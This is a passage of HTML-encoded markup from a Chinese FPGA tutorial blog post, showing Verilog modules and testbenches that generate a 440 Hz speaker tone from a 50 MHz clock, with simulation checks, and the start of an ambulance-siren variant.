number\"\u003e28408\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"实践\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E5%AE%9E%E8%B7%B5\" class=\"headerlink\" title=\"实践\"\u003e\u003c/a\u003e实践\u003c/h3\u003e\u003cp\u003e因为征途mini的主频为50M,所以用17位可以产生的时钟为 $(2\\times25\\times10^6)\\div(2\\times65536)=381Hz$\u003c/p\u003e\u003cp\u003e要产生440Hz,计数到 $56818\\times2=113636$ 即可。\u003c/p\u003e\u003cp\u003e使用翻转的方式,使用16位计数器,折中计数至 56818,同时加上了复位信号\u003c/p\u003e\u003cp\u003e主程序代码:\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;d56817\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;d56817\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cp\u003e仿真验证,\u003ccode\u003eTestbench\u003c/code\u003e 代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// tb_music.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic music_inst\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch4 id=\"仿真结果\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E4%BB%BF%E7%9C%9F%E7%BB%93%E6%9E%9C\" class=\"headerlink\" title=\"仿真结果\"\u003e\u003c/a\u003e仿真结果\u003c/h4\u003e\u003cp\u003e\u003cimg src=\"https://yun.ksfu.top/blog/fpga4fun/0.png\" alt=\"0\"/\u003e\u003c/p\u003e\u003cp\u003e占空比 $4545450-3409090=1136360$ $3409090-2272730=1136360$ ,可以看出占空比确实为50% \u003c/p\u003e\u003cp\u003e频率 $\\frac{1}{4545450-2272730}\\times10^9=440Hz$\u003c/p\u003e\u003cp\u003e)因为我莫得喇叭,就先不上板子了……\u003c/p\u003e\u003chr/\u003e\u003cp\u003e\u003cdel\u003e剩下的等我学完……\u003c/del\u003e 下面的再更新一下 \u003cspan class=\"bella_beijixing\"\u003e\u003c/span\u003e\u003c/p\u003e\u003ch3 id=\"添加参数\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#%E6%B7%BB%E5%8A%A0%E5%8F%82%E6%95%B0\" class=\"headerlink\" title=\"添加参数\"\u003e\u003c/a\u003e添加参数\u003c/h3\u003e\u003cp\u003e添加了一个名字叫 \u003ccode\u003eclkdivider\u003c/code\u003e 的参数,方便之后的修改。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// music.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e[\u003c/span\u003e\u003cspan class=\"token number\"\u003e15\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e:\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e]\u003c/span\u003e counter\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e16\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e counter \u003cspan class=\"token operator\"\u003e+\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways @\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eposedge\u003c/span\u003e clk \u003cspan class=\"token keyword\"\u003eor\u003c/span\u003e \u003cspan class=\"token keyword\"\u003enegedge\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e \u003cspan class=\"token function\"\u003eif\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ecounter \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e clkdivider\u003cspan class=\"token operator\"\u003e-\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eelse\u003c/span\u003e speaker \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// testbench.v\u003c/span\u003e\u003cspan class=\"token constant\"\u003e`timescale\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003ens\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e \u003cspan class=\"token function\"\u003etb_music\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003einitial\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ebegin\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token number\"\u003e#20\u003c/span\u003e rst \u003cspan class=\"token operator\"\u003e\u0026lt;=\u003c/span\u003e \u003cspan class=\"token number\"\u003e1\u0026#39;b1\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eend\u003c/span\u003e\u003cspan class=\"token important\"\u003ealways\u003c/span\u003e \u003cspan class=\"token number\"\u003e#10\u003c/span\u003e clk \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token operator\"\u003e~\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003emusic #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003e\u003cspan class=\"token function\"\u003eclkdivider\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclkdivider\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003emusic_inst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003eclk \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eclk\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003erst \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003erst\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e.\u003c/span\u003espeaker \u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003espeaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003eendmodule\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch2 id=\"Music-box-2-Ambulance-siren\"\u003e\u003ca href=\"http://http//blog.ksfu.top/posts/f804/#Music-box-2-Ambulance-siren\" class=\"headerlink\" title=\"Music box 2 - Ambulance siren\"\u003e\u003c/a\u003eMusic box 2 - Ambulance siren\u003c/h2\u003e\u003cp\u003e这次在两种音调之间交替。首先使用24位计数器 \u003ccode\u003etone\u003c/code\u003e 来产生一个缓慢的方波,其最高位(MSB)以1.5Hz的频率进行切换。然后我们在这两个频率之间切换另一个计数器。这样就发出了类似救护车警报一类的声音。\u003c/p\u003e\u003cp\u003e先产生一个1.5Hz的信号 \u003ccode\u003etone\u003c/code\u003e ,此时计数器 \u003ccode\u003ecounter\u003c/code\u003e 为向下计数,当 \u003ccode\u003ecounter\u003c/code\u003e 为0时,如果 \u003ccode\u003etone\u003c/code\u003e 为1,继续产生440Hz的信号,当 \u003ccode\u003etone\u003c/code\u003e 为0时,产生220Hz。这两个频率的信号以1.5Hz的频率交替出现。\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-verilog\" data-language=\"verilog\"\u003e\u003ccode class=\"language-verilog\"\u003e\u003cspan class=\"token comment\"\u003e// ambulance.v\u003c/span\u003e\u003cspan class=\"token keyword\"\u003emodule\u003c/span\u003e music #\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eparameter\u003c/span\u003e clkdivider \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e50000000\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e440\u003c/span\u003e\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e2\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e clk\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003einput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ewire\u003c/span\u003e rst\u003cspan class=\"token punctuation\"\u003e,\u003c/span\u003e \u003cspan class=\"token keyword\"\u003eoutput\u003c/span\u003e \u003cspan class=\"token keyword\"\u003ereg\u003c/span\u003e speaker\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token 